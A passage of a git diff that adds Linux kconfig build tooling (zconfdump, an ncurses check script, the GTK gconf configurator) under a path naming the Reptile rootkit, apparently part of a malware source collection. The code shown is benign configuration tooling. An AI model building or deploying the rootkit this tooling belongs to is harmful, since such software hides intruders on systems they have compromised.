+ struct symbol *sym = menu->sym; + struct property *prop; + + if (sym_is_choice(sym)) + fprintf(out, "\nchoice\n"); + else + fprintf(out, "\nconfig %s\n", sym->name); + switch (sym->type) { + case S_BOOLEAN: + fputs(" boolean\n", out); + break; + case S_TRISTATE: + fputs(" tristate\n", out); + break; + case S_STRING: + fputs(" string\n", out); + break; + case S_INT: + fputs(" integer\n", out); + break; + case S_HEX: + fputs(" hex\n", out); + break; + default: + fputs(" ???\n", out); + break; + } + for (prop = sym->prop; prop; prop = prop->next) { + if (prop->menu != menu) + continue; + switch (prop->type) { + case P_PROMPT: + fputs(" prompt ", out); + print_quoted_string(out, prop->text); + if (!expr_is_yes(prop->visible.expr)) { + fputs(" if ", out); + expr_fprint(prop->visible.expr, out); + } + fputc('\n', out); + break; + case P_DEFAULT: + fputs( " default ", out); + expr_fprint(prop->expr, out); + if (!expr_is_yes(prop->visible.expr)) { + fputs(" if ", out); + expr_fprint(prop->visible.expr, out); + } + fputc('\n', out); + break; + case P_CHOICE: + fputs(" #choice value\n", out); + break; + case P_SELECT: + fputs( " select ", out); + expr_fprint(prop->expr, out); + fputc('\n', out); + break; + case P_RANGE: + fputs( " range ", out); + expr_fprint(prop->expr, out); + fputc('\n', out); + break; + case P_MENU: + fputs( " menu ", out); + print_quoted_string(out, prop->text); + fputc('\n', out); + break; + default: + fprintf(out, " unknown prop %d!\n", prop->type); + break; + } + } + if (menu->help) { + int len = strlen(menu->help); + while (menu->help[--len] == '\n') + menu->help[len] = 0; + fprintf(out, " help\n%s\n", menu->help); + } +} + +void zconfdump(FILE *out) +{ + struct property *prop; + struct symbol *sym; + struct menu *menu; + + menu = rootmenu.list; + while (menu) { + if ((sym = menu->sym)) + print_symbol(out, menu); + else if ((prop = menu->prompt)) { + switch (prop->type) { + case P_COMMENT: + fputs("\ncomment ", out); + print_quoted_string(out, prop->text); + fputs("\n", out); + break; + case P_MENU: + fputs("\nmenu ", out); + print_quoted_string(out, prop->text); + fputs("\n", out); + break; + default: + ; + } + if (!expr_is_yes(prop->visible.expr)) { + fputs(" depends ", out); + expr_fprint(prop->visible.expr, out); + fputc('\n', out); + } + } + + if (menu->list) + menu = menu->list; + else if (menu->next) + menu = menu->next; + else while ((menu = menu->parent)) { + if (menu->prompt && menu->prompt->type == P_MENU) + fputs("\nendmenu\n", out); + if (menu->next) { + menu = menu->next; + break; + } + } + } +} + +#include "zconf.lex.c" +#include "util.c" +#include "confdata.c" +#include "expr.c" +#include "symbol.c" +#include "menu.c" diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/101-kconfig-build.patch/.timestamp b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/101-kconfig-build.patch/.timestamp new file mode 100644 index 0000000..e69de29 diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/101-kconfig-build.patch/GNUmakefile b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/101-kconfig-build.patch/GNUmakefile new file mode 100644 index 0000000..e69de29 diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/101-kconfig-build.patch/README b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/101-kconfig-build.patch/README new file mode 100644 index 0000000..e69de29 diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/101-kconfig-build.patch/config.sh b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/101-kconfig-build.patch/config.sh new file mode 100644 index 0000000..e69de29 diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/11-use-mktemp-for-lxdialog.patch/.timestamp b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/11-use-mktemp-for-lxdialog.patch/.timestamp new file mode 100644 index 0000000..e69de29 diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/11-use-mktemp-for-lxdialog.patch/lxdialog/check-lxdialog.sh b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/11-use-mktemp-for-lxdialog.patch/lxdialog/check-lxdialog.sh new file mode 100644 index 0000000..9d2a4c5 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/11-use-mktemp-for-lxdialog.patch/lxdialog/check-lxdialog.sh @@ -0,0 +1,87 @@ +#!/bin/sh +# Check ncurses compatibility + +# What library to link +ldflags() +{ + pkg-config --libs ncursesw 2>/dev/null && exit + pkg-config --libs ncurses 2>/dev/null && exit + for ext in so a dll.a dylib ; do + for lib in ncursesw ncurses curses ; do + $cc -print-file-name=lib${lib}.${ext} | grep -q / + if [ $? -eq 0 ]; then + echo "-l${lib}" + exit + fi + done + done + exit 1 +} + +# Where is ncurses.h? +ccflags() +{ + if [ -f /usr/include/ncursesw/curses.h ]; then + echo '-I/usr/include/ncursesw -DCURSES_LOC=""' + echo ' -DNCURSES_WIDECHAR=1' + elif [ -f /usr/include/ncurses/ncurses.h ]; then + echo '-I/usr/include/ncurses -DCURSES_LOC=""' + elif [ -f /usr/include/ncurses/curses.h ]; then + echo '-I/usr/include/ncurses -DCURSES_LOC=""' + elif [ -f /usr/include/ncurses.h ]; then + echo '-DCURSES_LOC=""' + else + echo '-DCURSES_LOC=""' + fi +} + +# Temp file, try to clean up after us +tmp=.lxdialog.tmp +trap "rm -f $tmp" 0 1 2 3 15 + +# Check if we can link to ncurses +check() { + $cc -x c - -o $tmp 2>/dev/null <<'EOF' +#include CURSES_LOC +main() {} +EOF + if [ $? != 0 ]; then + echo " *** Unable to find the ncurses libraries or the" 1>&2 + echo " *** required header files." 1>&2 + echo " *** 'make menuconfig' requires the ncurses libraries." 1>&2 + echo " *** " 1>&2 + echo " *** Install ncurses (ncurses-devel) and try again." 1>&2 + echo " *** " 1>&2 + exit 1 + fi +} + +usage() { + printf "Usage: $0 [-check compiler options|-ccflags|-ldflags compiler options]\n" +} + +if [ $# -eq 0 ]; then + usage + exit 1 +fi + +cc="" +case "$1" in + "-check") + shift + cc="$@" + check + ;; + "-ccflags") + ccflags + ;; + "-ldflags") + shift + cc="$@" + ldflags + ;; + "*") + usage + exit 1 + ;; +esac diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/12-fix-glade-file-path.patch/.timestamp b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/12-fix-glade-file-path.patch/.timestamp new file mode 100644 index 0000000..e69de29 diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/12-fix-glade-file-path.patch/gconf.c b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/12-fix-glade-file-path.patch/gconf.c new file mode 100644 index 0000000..f2bee70 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/12-fix-glade-file-path.patch/gconf.c @@ -0,0 +1,1542 @@ +/* Hey EMACS -*- linux-c -*- */ +/* + * + * Copyright (C) 2002-2003 Romain Lievin + * Released under the terms of the GNU GPL v2.0. + * + */ + +#ifdef HAVE_CONFIG_H +# include +#endif + +#include +#include "lkc.h" +#include "images.c" + +#include +#include +#include +#include + +#include +#include +#include +#include + +//#define DEBUG + +enum { + SINGLE_VIEW, SPLIT_VIEW, FULL_VIEW +}; + +enum { + OPT_NORMAL, OPT_ALL, OPT_PROMPT +}; + +static gint view_mode = FULL_VIEW; +static gboolean show_name = TRUE; +static gboolean show_range = TRUE; +static gboolean show_value = TRUE; +static gboolean resizeable = FALSE; +static int opt_mode = OPT_NORMAL; + +GtkWidget *main_wnd = NULL; +GtkWidget *tree1_w = NULL; // left frame +GtkWidget *tree2_w = NULL; // right frame +GtkWidget *text_w = NULL; +GtkWidget *hpaned = NULL; +GtkWidget *vpaned = NULL; +GtkWidget *back_btn = NULL; +GtkWidget *save_btn = NULL; +GtkWidget *save_menu_item = NULL; + +GtkTextTag *tag1, *tag2; +GdkColor color; + +GtkTreeStore *tree1, *tree2, *tree; +GtkTreeModel *model1, *model2; +static GtkTreeIter *parents[256]; +static gint indent; + +static struct menu *current; // current node for SINGLE view +static struct menu *browsed; // browsed node for SPLIT view + +enum { + COL_OPTION, COL_NAME, COL_NO, COL_MOD, COL_YES, COL_VALUE, + COL_MENU, COL_COLOR, COL_EDIT, COL_PIXBUF, + COL_PIXVIS, COL_BTNVIS, COL_BTNACT, COL_BTNINC, COL_BTNRAD, + COL_NUMBER +}; + +static void display_list(void); +static void display_tree(struct menu *menu); +static void display_tree_part(void); +static void update_tree(struct menu *src, GtkTreeIter * dst); +static void set_node(GtkTreeIter * node, struct menu *menu, gchar ** row); +static gchar **fill_row(struct menu *menu); +static void conf_changed(void); + +/* Helping/Debugging Functions */ + +const char *dbg_sym_flags(int val) +{ + static char buf[256]; + + bzero(buf, 256); + + if (val & SYMBOL_CONST) + strcat(buf, "const/"); + if (val & SYMBOL_CHECK) + strcat(buf, "check/"); + if (val & SYMBOL_CHOICE) + strcat(buf, "choice/"); + if (val & SYMBOL_CHOICEVAL) + strcat(buf, "choiceval/"); + if (val & SYMBOL_VALID) + strcat(buf, "valid/"); + if (val & SYMBOL_OPTIONAL) + strcat(buf, "optional/"); + if (val & SYMBOL_WRITE) + strcat(buf, "write/"); + if (val & SYMBOL_CHANGED) + strcat(buf, "changed/"); + if (val & SYMBOL_AUTO) + strcat(buf, "auto/"); + + buf[strlen(buf) - 1] = '\0'; + + return buf; +} + +void replace_button_icon(GladeXML * xml, GdkDrawable * window, + GtkStyle * style, gchar * btn_name, gchar ** xpm) +{ + GdkPixmap *pixmap; + GdkBitmap *mask; + GtkToolButton *button; + GtkWidget *image; + + pixmap = gdk_pixmap_create_from_xpm_d(window, &mask, + &style->bg[GTK_STATE_NORMAL], + xpm); + + button = GTK_TOOL_BUTTON(glade_xml_get_widget(xml, btn_name)); + image = gtk_image_new_from_pixmap(pixmap, mask); + gtk_widget_show(image); + gtk_tool_button_set_icon_widget(button, image); +} + +/* Main Window Initialization */ +void init_main_window(const gchar * glade_file) +{ + GladeXML *xml; + GtkWidget *widget; + GtkTextBuffer *txtbuf; + GtkStyle *style; + + xml = glade_xml_new(glade_file, "window1", NULL); + if (!xml) + g_error(_("GUI loading failed !\n")); + glade_xml_signal_autoconnect(xml); + + main_wnd = glade_xml_get_widget(xml, "window1"); + hpaned = glade_xml_get_widget(xml, "hpaned1"); + vpaned = glade_xml_get_widget(xml, "vpaned1"); + tree1_w = glade_xml_get_widget(xml, "treeview1"); + tree2_w = glade_xml_get_widget(xml, "treeview2"); + text_w = glade_xml_get_widget(xml, "textview3"); + + back_btn = glade_xml_get_widget(xml, "button1"); + gtk_widget_set_sensitive(back_btn, FALSE); + + widget = glade_xml_get_widget(xml, "show_name1"); + gtk_check_menu_item_set_active((GtkCheckMenuItem *) widget, + show_name); + + widget = glade_xml_get_widget(xml, "show_range1"); + gtk_check_menu_item_set_active((GtkCheckMenuItem *) widget, + show_range); + + widget = glade_xml_get_widget(xml, "show_data1"); + gtk_check_menu_item_set_active((GtkCheckMenuItem *) widget, + show_value); + + save_btn = glade_xml_get_widget(xml, "button3"); + save_menu_item = glade_xml_get_widget(xml, "save1"); + conf_set_changed_callback(conf_changed); + + style = gtk_widget_get_style(main_wnd); + widget = glade_xml_get_widget(xml, "toolbar1"); + +#if 0 /* Use stock Gtk icons instead */ + replace_button_icon(xml, main_wnd->window, style, + "button1", (gchar **) xpm_back); + replace_button_icon(xml, main_wnd->window, style, + "button2", (gchar **) xpm_load); + replace_button_icon(xml, main_wnd->window, style, + "button3", (gchar **) xpm_save); +#endif + replace_button_icon(xml, main_wnd->window, style, + "button4", (gchar **) xpm_single_view); + replace_button_icon(xml, main_wnd->window, style, + "button5", (gchar **) xpm_split_view); + replace_button_icon(xml, main_wnd->window, style, + "button6", (gchar **) xpm_tree_view); + +#if 0 + switch (view_mode) { + case SINGLE_VIEW: + widget = glade_xml_get_widget(xml, "button4"); + g_signal_emit_by_name(widget, "clicked"); + break; + case SPLIT_VIEW: + widget = glade_xml_get_widget(xml, "button5"); + g_signal_emit_by_name(widget, "clicked"); + break; + case FULL_VIEW: + widget = glade_xml_get_widget(xml, "button6"); + g_signal_emit_by_name(widget, "clicked"); + break; + } +#endif + txtbuf = gtk_text_view_get_buffer(GTK_TEXT_VIEW(text_w)); + tag1 = gtk_text_buffer_create_tag(txtbuf, "mytag1", + "foreground", "red", + "weight", PANGO_WEIGHT_BOLD, + NULL); + tag2 = gtk_text_buffer_create_tag(txtbuf, "mytag2", + /*"style", PANGO_STYLE_OBLIQUE, */ + NULL); + + gtk_window_set_title(GTK_WINDOW(main_wnd), rootmenu.prompt->text); + + gtk_widget_show(main_wnd); +} + +void init_tree_model(void) +{ + gint i; + + tree = tree2 = gtk_tree_store_new(COL_NUMBER, + G_TYPE_STRING, G_TYPE_STRING, + G_TYPE_STRING, G_TYPE_STRING, + G_TYPE_STRING, G_TYPE_STRING, + G_TYPE_POINTER, GDK_TYPE_COLOR, + G_TYPE_BOOLEAN, GDK_TYPE_PIXBUF, + G_TYPE_BOOLEAN, G_TYPE_BOOLEAN, + G_TYPE_BOOLEAN, G_TYPE_BOOLEAN, + G_TYPE_BOOLEAN); + model2 = GTK_TREE_MODEL(tree2); + + for (parents[0] = NULL, i = 1; i < 256; i++) + parents[i] = (GtkTreeIter *) g_malloc(sizeof(GtkTreeIter)); + + tree1 = gtk_tree_store_new(COL_NUMBER, + G_TYPE_STRING, G_TYPE_STRING, + G_TYPE_STRING, G_TYPE_STRING, + G_TYPE_STRING, G_TYPE_STRING, + G_TYPE_POINTER, GDK_TYPE_COLOR, + G_TYPE_BOOLEAN, GDK_TYPE_PIXBUF, + G_TYPE_BOOLEAN, G_TYPE_BOOLEAN, + G_TYPE_BOOLEAN, G_TYPE_BOOLEAN, + G_TYPE_BOOLEAN); + model1 = GTK_TREE_MODEL(tree1); +} + +void init_left_tree(void) +{ + GtkTreeView *view = GTK_TREE_VIEW(tree1_w); + GtkCellRenderer *renderer; + GtkTreeSelection *sel; + GtkTreeViewColumn *column; + + gtk_tree_view_set_model(view, model1); + gtk_tree_view_set_headers_visible(view, TRUE); + gtk_tree_view_set_rules_hint(view, TRUE); + + column = gtk_tree_view_column_new(); + gtk_tree_view_append_column(view, column); + gtk_tree_view_column_set_title(column, _("Options")); + + renderer = gtk_cell_renderer_toggle_new(); + gtk_tree_view_column_pack_start(GTK_TREE_VIEW_COLUMN(column), + renderer, FALSE); + gtk_tree_view_column_set_attributes(GTK_TREE_VIEW_COLUMN(column), + renderer, + "active", COL_BTNACT, + "inconsistent", COL_BTNINC, + "visible", COL_BTNVIS, + "radio", COL_BTNRAD, NULL); + renderer = gtk_cell_renderer_text_new(); + gtk_tree_view_column_pack_start(GTK_TREE_VIEW_COLUMN(column), + renderer, FALSE); + gtk_tree_view_column_set_attributes(GTK_TREE_VIEW_COLUMN(column), + renderer, + "text", COL_OPTION, + "foreground-gdk", + COL_COLOR, NULL); + + sel = gtk_tree_view_get_selection(view); + gtk_tree_selection_set_mode(sel, GTK_SELECTION_SINGLE); + gtk_widget_realize(tree1_w); +} + +static void renderer_edited(GtkCellRendererText * cell, + const gchar * path_string, + const gchar * new_text, gpointer user_data); + +void init_right_tree(void) +{ + GtkTreeView *view = GTK_TREE_VIEW(tree2_w); + GtkCellRenderer *renderer; + GtkTreeSelection *sel; + GtkTreeViewColumn *column; + gint i; + + gtk_tree_view_set_model(view, model2); + gtk_tree_view_set_headers_visible(view, TRUE); + gtk_tree_view_set_rules_hint(view, TRUE); + + column = gtk_tree_view_column_new(); + gtk_tree_view_append_column(view, column); + gtk_tree_view_column_set_title(column, _("Options")); + + renderer = gtk_cell_renderer_pixbuf_new(); + gtk_tree_view_column_pack_start(GTK_TREE_VIEW_COLUMN(column), + renderer, FALSE); + gtk_tree_view_column_set_attributes(GTK_TREE_VIEW_COLUMN(column), + renderer, + "pixbuf", COL_PIXBUF, + "visible", COL_PIXVIS, NULL); + renderer = gtk_cell_renderer_toggle_new(); + gtk_tree_view_column_pack_start(GTK_TREE_VIEW_COLUMN(column), + renderer, FALSE); + gtk_tree_view_column_set_attributes(GTK_TREE_VIEW_COLUMN(column), + renderer, + "active", COL_BTNACT, + "inconsistent", COL_BTNINC, + "visible", COL_BTNVIS, + "radio", COL_BTNRAD, NULL); + renderer = gtk_cell_renderer_text_new(); + gtk_tree_view_column_pack_start(GTK_TREE_VIEW_COLUMN(column), + renderer, FALSE); + gtk_tree_view_column_set_attributes(GTK_TREE_VIEW_COLUMN(column), + renderer, + "text", COL_OPTION, + "foreground-gdk", + COL_COLOR, NULL); + + renderer = gtk_cell_renderer_text_new(); + gtk_tree_view_insert_column_with_attributes(view, -1, + _("Name"), renderer, + "text", COL_NAME, + "foreground-gdk", + COL_COLOR, NULL); + renderer = gtk_cell_renderer_text_new(); + gtk_tree_view_insert_column_with_attributes(view, -1, + "N", renderer, + "text", COL_NO, + "foreground-gdk", + COL_COLOR, NULL); + renderer = gtk_cell_renderer_text_new(); + gtk_tree_view_insert_column_with_attributes(view, -1, + "M", renderer, + "text", COL_MOD, + "foreground-gdk", + COL_COLOR, NULL); + renderer = gtk_cell_renderer_text_new(); + gtk_tree_view_insert_column_with_attributes(view, -1, + "Y", renderer, + "text", COL_YES, + "foreground-gdk", + COL_COLOR, NULL); + renderer = gtk_cell_renderer_text_new(); + gtk_tree_view_insert_column_with_attributes(view, -1, + _("Value"), renderer, + "text", COL_VALUE, + "editable", + COL_EDIT, + "foreground-gdk", + COL_COLOR, NULL); + g_signal_connect(G_OBJECT(renderer), "edited", + G_CALLBACK(renderer_edited), NULL); + + column = gtk_tree_view_get_column(view, COL_NAME); + gtk_tree_view_column_set_visible(column, show_name); + column = gtk_tree_view_get_column(view, COL_NO); + gtk_tree_view_column_set_visible(column, show_range); + column = gtk_tree_view_get_column(view, COL_MOD); + gtk_tree_view_column_set_visible(column, show_range); + column = gtk_tree_view_get_column(view, COL_YES); + gtk_tree_view_column_set_visible(column, show_range); + column = gtk_tree_view_get_column(view, COL_VALUE); + gtk_tree_view_column_set_visible(column, show_value); + + if (resizeable) { + for (i = 0; i < COL_VALUE; i++) { + column = gtk_tree_view_get_column(view, i); + gtk_tree_view_column_set_resizable(column, TRUE); + } + } + + sel = gtk_tree_view_get_selection(view); + gtk_tree_selection_set_mode(sel, GTK_SELECTION_SINGLE); +} + + +/* Utility Functions */ + + +static void text_insert_help(struct menu *menu) +{ + GtkTextBuffer *buffer; + GtkTextIter start, end; + const char *prompt = _(menu_get_prompt(menu)); + struct gstr help = str_new(); + + menu_get_ext_help(menu, &help); + + buffer = gtk_text_view_get_buffer(GTK_TEXT_VIEW(text_w)); + gtk_text_buffer_get_bounds(buffer, &start, &end); + gtk_text_buffer_delete(buffer, &start, &end); + gtk_text_view_set_left_margin(GTK_TEXT_VIEW(text_w), 15); + + gtk_text_buffer_get_end_iter(buffer, &end); + gtk_text_buffer_insert_with_tags(buffer, &end, prompt, -1, tag1, + NULL); + gtk_text_buffer_insert_at_cursor(buffer, "\n\n", 2); + gtk_text_buffer_get_end_iter(buffer, &end); + gtk_text_buffer_insert_with_tags(buffer, &end, str_get(&help), -1, tag2, + NULL); + str_free(&help); +} + + +static void text_insert_msg(const char *title, const char *message) +{ + GtkTextBuffer *buffer; + GtkTextIter start, end; + const char *msg = message; + + buffer = gtk_text_view_get_buffer(GTK_TEXT_VIEW(text_w)); + gtk_text_buffer_get_bounds(buffer, &start, &end); + gtk_text_buffer_delete(buffer, &start, &end); + gtk_text_view_set_left_margin(GTK_TEXT_VIEW(text_w), 15); + + gtk_text_buffer_get_end_iter(buffer, &end); + gtk_text_buffer_insert_with_tags(buffer, &end, title, -1, tag1, + NULL); + gtk_text_buffer_insert_at_cursor(buffer, "\n\n", 2); + gtk_text_buffer_get_end_iter(buffer, &end); + gtk_text_buffer_insert_with_tags(buffer, &end, msg, -1, tag2, + NULL); +} + + +/* Main Windows Callbacks */ + +void on_save_activate(GtkMenuItem * menuitem, gpointer user_data); +gboolean on_window1_delete_event(GtkWidget * widget, GdkEvent * event, + gpointer user_data) +{ + GtkWidget *dialog, *label; + gint result; + + if (!conf_get_changed()) + return FALSE; + + dialog = gtk_dialog_new_with_buttons(_("Warning !"), + GTK_WINDOW(main_wnd), + (GtkDialogFlags) + (GTK_DIALOG_MODAL | + GTK_DIALOG_DESTROY_WITH_PARENT), + GTK_STOCK_OK, + GTK_RESPONSE_YES, + GTK_STOCK_NO, + GTK_RESPONSE_NO, + GTK_STOCK_CANCEL, + GTK_RESPONSE_CANCEL, NULL); + gtk_dialog_set_default_response(GTK_DIALOG(dialog), + GTK_RESPONSE_CANCEL); + + label = gtk_label_new(_("\nSave configuration ?\n")); + gtk_container_add(GTK_CONTAINER(GTK_DIALOG(dialog)->vbox), label); + gtk_widget_show(label); + + result = gtk_dialog_run(GTK_DIALOG(dialog)); + switch (result) { + case GTK_RESPONSE_YES: + on_save_activate(NULL, NULL); + return FALSE; + case GTK_RESPONSE_NO: + return FALSE; + case GTK_RESPONSE_CANCEL: + case GTK_RESPONSE_DELETE_EVENT: + default: + gtk_widget_destroy(dialog); + return TRUE; + } + + return FALSE; +} + + +void on_window1_destroy(GtkObject * object, gpointer user_data) +{ + gtk_main_quit(); +} + + +void +on_window1_size_request(GtkWidget * widget, + GtkRequisition * requisition, gpointer user_data) +{ + static gint old_h; + gint w, h; + + if (widget->window == NULL) + gtk_window_get_default_size(GTK_WINDOW(main_wnd), &w, &h); + else + gdk_window_get_size(widget->window, &w, &h); + + if (h == old_h) + return; + old_h = h; + + gtk_paned_set_position(GTK_PANED(vpaned), 2 * h / 3); +} + + +/* Menu & Toolbar Callbacks */ + + +static void +load_filename(GtkFileSelection * file_selector, gpointer user_data) +{ + const gchar *fn; + + fn = gtk_file_selection_get_filename(GTK_FILE_SELECTION + (user_data)); + + if (conf_read(fn)) + text_insert_msg(_("Error"), _("Unable to load configuration !")); + else + display_tree(&rootmenu); +} + +void on_load1_activate(GtkMenuItem * menuitem, gpointer user_data) +{ + GtkWidget *fs; + + fs = gtk_file_selection_new(_("Load file...")); + g_signal_connect(GTK_OBJECT(GTK_FILE_SELECTION(fs)->ok_button), + "clicked", + G_CALLBACK(load_filename), (gpointer) fs); + g_signal_connect_swapped(GTK_OBJECT + (GTK_FILE_SELECTION(fs)->ok_button), + "clicked", G_CALLBACK(gtk_widget_destroy), + (gpointer) fs); + g_signal_connect_swapped(GTK_OBJECT + (GTK_FILE_SELECTION(fs)->cancel_button), + "clicked", G_CALLBACK(gtk_widget_destroy), + (gpointer) fs); + gtk_widget_show(fs); +} + + +void on_save_activate(GtkMenuItem * menuitem, gpointer user_data) +{ + if (conf_write(NULL)) + text_insert_msg(_("Error"), _("Unable to save configuration !")); +} + + +static void +store_filename(GtkFileSelection * file_selector, gpointer user_data) +{ + const gchar *fn; + + fn = gtk_file_selection_get_filename(GTK_FILE_SELECTION + (user_data)); + + if (conf_write(fn)) + text_insert_msg(_("Error"), _("Unable to save configuration !")); + + gtk_widget_destroy(GTK_WIDGET(user_data)); +} + +void on_save_as1_activate(GtkMenuItem * menuitem, gpointer user_data) +{ + GtkWidget *fs; + + fs = gtk_file_selection_new(_("Save file as...")); + g_signal_connect(GTK_OBJECT(GTK_FILE_SELECTION(fs)->ok_button), + "clicked", + G_CALLBACK(store_filename), (gpointer) fs); + g_signal_connect_swapped(GTK_OBJECT + (GTK_FILE_SELECTION(fs)->ok_button), + "clicked", G_CALLBACK(gtk_widget_destroy), + (gpointer) fs); + g_signal_connect_swapped(GTK_OBJECT + (GTK_FILE_SELECTION(fs)->cancel_button), + "clicked", G_CALLBACK(gtk_widget_destroy), + (gpointer) fs); + gtk_widget_show(fs); +} + + +void on_quit1_activate(GtkMenuItem * menuitem, gpointer user_data) +{ + if (!on_window1_delete_event(NULL, NULL, NULL)) + gtk_widget_destroy(GTK_WIDGET(main_wnd)); +} + + +void on_show_name1_activate(GtkMenuItem * menuitem, gpointer user_data) +{ + GtkTreeViewColumn *col; + + show_name = GTK_CHECK_MENU_ITEM(menuitem)->active; + col = gtk_tree_view_get_column(GTK_TREE_VIEW(tree2_w), COL_NAME); + if (col) + gtk_tree_view_column_set_visible(col, show_name); +} + + +void on_show_range1_activate(GtkMenuItem * menuitem, gpointer user_data) +{ + GtkTreeViewColumn *col; + + show_range = GTK_CHECK_MENU_ITEM(menuitem)->active; + col = gtk_tree_view_get_column(GTK_TREE_VIEW(tree2_w), COL_NO); + if (col) + gtk_tree_view_column_set_visible(col, show_range); + col = gtk_tree_view_get_column(GTK_TREE_VIEW(tree2_w), COL_MOD); + if (col) + gtk_tree_view_column_set_visible(col, show_range); + col = gtk_tree_view_get_column(GTK_TREE_VIEW(tree2_w), COL_YES); + if (col) + gtk_tree_view_column_set_visible(col, show_range); + +} + + +void on_show_data1_activate(GtkMenuItem * menuitem, gpointer user_data) +{ + GtkTreeViewColumn *col; + + show_value = GTK_CHECK_MENU_ITEM(menuitem)->active; + col = gtk_tree_view_get_column(GTK_TREE_VIEW(tree2_w), COL_VALUE); + if (col) + gtk_tree_view_column_set_visible(col, show_value); +} + + +void +on_set_option_mode1_activate(GtkMenuItem *menuitem, gpointer user_data) +{ + opt_mode = OPT_NORMAL; + gtk_tree_store_clear(tree2); + display_tree(&rootmenu); /* instead of update_tree to speed-up */ +} + + +void +on_set_option_mode2_activate(GtkMenuItem *menuitem, gpointer user_data) +{ + opt_mode = OPT_ALL; + gtk_tree_store_clear(tree2); + display_tree(&rootmenu); /* instead of update_tree to speed-up */ +} + + +void +on_set_option_mode3_activate(GtkMenuItem *menuitem, gpointer user_data) +{ + opt_mode = OPT_PROMPT; + gtk_tree_store_clear(tree2); + display_tree(&rootmenu); /* instead of update_tree to speed-up */ +} + + +void on_introduction1_activate(GtkMenuItem * menuitem, gpointer user_data) +{ + GtkWidget *dialog; + const gchar *intro_text = _( + "Welcome to gkc, the GTK+ graphical configuration tool\n" + "For each option, a blank box indicates the feature is disabled, a\n" + "check indicates it is enabled, and a dot indicates that it is to\n" + "be compiled as a module. Clicking on the box will cycle through the three states.\n" + "\n" + "If you do not see an option (e.g., a device driver) that you\n" + "believe should be present, try turning on Show All Options\n" + "under the Options menu.\n" + "Although there is no cross reference yet to help you figure out\n" + "what other options must be enabled to support the option you\n" + "are interested in, you can still view the help of a grayed-out\n" + "option.\n" + "\n" + "Toggling Show Debug Info under the Options menu will show \n" + "the dependencies, which you can then match by examining other options."); + + dialog = gtk_message_dialog_new(GTK_WINDOW(main_wnd), + GTK_DIALOG_DESTROY_WITH_PARENT, + GTK_MESSAGE_INFO, + GTK_BUTTONS_CLOSE, "%s", intro_text); + g_signal_connect_swapped(GTK_OBJECT(dialog), "response", + G_CALLBACK(gtk_widget_destroy), + GTK_OBJECT(dialog)); + gtk_widget_show_all(dialog); +} + + +void on_about1_activate(GtkMenuItem * menuitem, gpointer user_data) +{ + GtkWidget *dialog; + const gchar *about_text = + _("gkc is copyright (c) 2002 Romain Lievin .\n" + "Based on the source code from Roman Zippel.\n"); + + dialog = gtk_message_dialog_new(GTK_WINDOW(main_wnd), + GTK_DIALOG_DESTROY_WITH_PARENT, + GTK_MESSAGE_INFO, + GTK_BUTTONS_CLOSE, "%s", about_text); + g_signal_connect_swapped(GTK_OBJECT(dialog), "response", + G_CALLBACK(gtk_widget_destroy), + GTK_OBJECT(dialog)); + gtk_widget_show_all(dialog); +} + + +void on_license1_activate(GtkMenuItem * menuitem, gpointer user_data) +{ + GtkWidget *dialog; + const gchar *license_text = + _("gkc is released under the terms of the GNU GPL v2.\n" + "For more information, please see the source code or\n" + "visit http://www.fsf.org/licenses/licenses.html\n"); + + dialog = gtk_message_dialog_new(GTK_WINDOW(main_wnd), + GTK_DIALOG_DESTROY_WITH_PARENT, + GTK_MESSAGE_INFO, + GTK_BUTTONS_CLOSE, "%s", license_text); + g_signal_connect_swapped(GTK_OBJECT(dialog), "response", + G_CALLBACK(gtk_widget_destroy), + GTK_OBJECT(dialog)); + gtk_widget_show_all(dialog); +} + + +void on_back_clicked(GtkButton * button, gpointer user_data) +{ + enum prop_type ptype; + + current = current->parent; + ptype = current->prompt ? current->prompt->type : P_UNKNOWN; + if (ptype != P_MENU) + current = current->parent; + display_tree_part(); + + if (current == &rootmenu) + gtk_widget_set_sensitive(back_btn, FALSE); +} + + +void on_load_clicked(GtkButton * button, gpointer user_data) +{ + on_load1_activate(NULL, user_data); +} + + +void on_single_clicked(GtkButton * button, gpointer user_data) +{ + view_mode = SINGLE_VIEW; + gtk_widget_hide(tree1_w); + current = &rootmenu; + display_tree_part(); +} + + +void on_split_clicked(GtkButton * button, gpointer user_data) +{ + gint w, h; + view_mode = SPLIT_VIEW; + gtk_widget_show(tree1_w); + gtk_window_get_default_size(GTK_WINDOW(main_wnd), &w, &h); + gtk_paned_set_position(GTK_PANED(hpaned), w / 2); + if (tree2) + gtk_tree_store_clear(tree2); + display_list(); + + /* Disable back btn, like in full mode. */ + gtk_widget_set_sensitive(back_btn, FALSE); +} + + +void on_full_clicked(GtkButton * button, gpointer user_data) +{ + view_mode = FULL_VIEW; + gtk_widget_hide(tree1_w); + if (tree2) + gtk_tree_store_clear(tree2); + display_tree(&rootmenu); + gtk_widget_set_sensitive(back_btn, FALSE); +} + + +void on_collapse_clicked(GtkButton * button, gpointer user_data) +{ + gtk_tree_view_collapse_all(GTK_TREE_VIEW(tree2_w)); +} + + +void on_expand_clicked(GtkButton * button, gpointer user_data) +{ + gtk_tree_view_expand_all(GTK_TREE_VIEW(tree2_w)); +} + + +/* CTree Callbacks */ + +/* Change hex/int/string value in the cell */ +static void renderer_edited(GtkCellRendererText * cell, + const gchar * path_string, + const gchar * new_text, gpointer user_data) +{ + GtkTreePath *path = gtk_tree_path_new_from_string(path_string); + GtkTreeIter iter; + const char *old_def, *new_def; + struct menu *menu; + struct symbol *sym; + + if 